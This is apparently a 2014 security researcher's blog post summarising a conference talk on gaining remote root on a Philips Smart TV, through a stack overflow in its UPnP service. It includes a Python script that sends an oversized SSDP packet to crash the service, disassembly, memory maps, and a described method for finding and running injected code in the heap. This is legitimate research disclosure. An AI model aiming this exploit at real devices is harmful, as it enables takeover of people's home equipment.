Exploitation of Philips Smart TV
Posted on Thu 13 November 2014 in Article
This post is a translated summary of the article published for my talk at SSTIC 2014 conference (french).
My Philips Smart TV is a Linux box standing there in my living room : that's a sufficient reason to try to get root.
Debug serial port
Serial port (Jack plug) |
Linux version 2.6.28.9-oslinuxR7.5
(root@lxdevenv) (gcc version 4.2.4) #1 Thu Jun 16 23:27:36 CEST 2011
console [early0] enabled
CPU revision is: 00019651 (MIPS 24Kc)
FPU revision is: 01739300
282 MB SDRAM allocated to Linux on MIPS
512 MB total SDRAM size
Endianess : LITTLE
[...]
UPnP library identification
#!/usr/bin/python
import socket
pkt = "NOTIFY * HTTP/1.1\r\n" +\
"HOST: 239.255.255.250:1900\r\n" +\
"USN:uuid:schemas:device:" +\
"A" * 512 + ":end\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(pkt, ('239.255.255.250', 1900))
03 <2> 001990235 Exception in process 443: SIGSEGV: address not mapped to object
03 <2> 001990235 EPC = 0x41414141
03 <2> 001990235 RA = 0x41414141
Memory mapping discovery
[...]
.text:00004D4C lw $ra, 0x158($sp)
.text:00004D50 lw $s3, 0x154($sp)
.text:00004D54 lw $s2, 0x150($sp)
.text:00004D58 lw $s1, 0x14C($sp)
.text:00004D5C lw $s0, 0x148($sp)
.text:00004D60 jr $ra
.text:00004D64 addiu $sp, 0x160
.text:00004D64 # End of function unique_service_name
.text:00004DB4 jalr $t9 ; unique_service_name
.text:00004DB8 move $a1, $s0
.text:00004DBC lw $gp, 0x28+saved_gp($sp)
.text:00004DC0 move $a0, $s1 ; arg0
.text:00004DC4 la $t9, 0x49C0
.text:00004DC8 or $at, $zero
.text:00004DCC jalr $t9 ; ssdp_request_type1
.text:00004DD0 sw $zero, 8($s0); write 0 @ $s0+8
- denial of service : the process doesn't answer anymore to UPnP requests
- specific network activity : the process broadcasts specific packets at startup
- crash reports on serial port: from far the handiest method
0x00402020-0x00532120 r-x
0x00542020-0x0091af20 rw-
0x0091b020-0x00927efc ---
0x00928020-0x00930920 rw-
0x00942920-0x00980920+ rwx
Injecting arbitrary code
Finding arbitrary code location
enum SsdpSearchType ssdp_request_type1( IN char *cmd ) {
if( strstr( cmd, ":all" ) != NULL )
return SSDP_ALL;
[...]
return SSDP_SERROR; }
If at least one static substrings
is found in the string pointer, the UPnP process will respond to
our request. This behavior lets us know if an arbitrary string
pointer contains a specific substring.
So we put one of these substrings (":all" for example) in our
arbitrary code, and we use this behavior to search its address in
the heap area (we've already discovered heap start address in a
previous section)
As we need to send many UPnP packets and to monitor responses, this
process takes few minutes.
Remote arbitrary code execution
We are able to put our arbitrary code in heap memory (executable),
find out its address, and execute it. Thereby, we get shell access
to this system.
We can notice that :
- all processes are root
- stack and heap are executable
- stack is not randomized
[0] Edit 2014/11/14 : Thanks andreashappe for pointing out this mistake.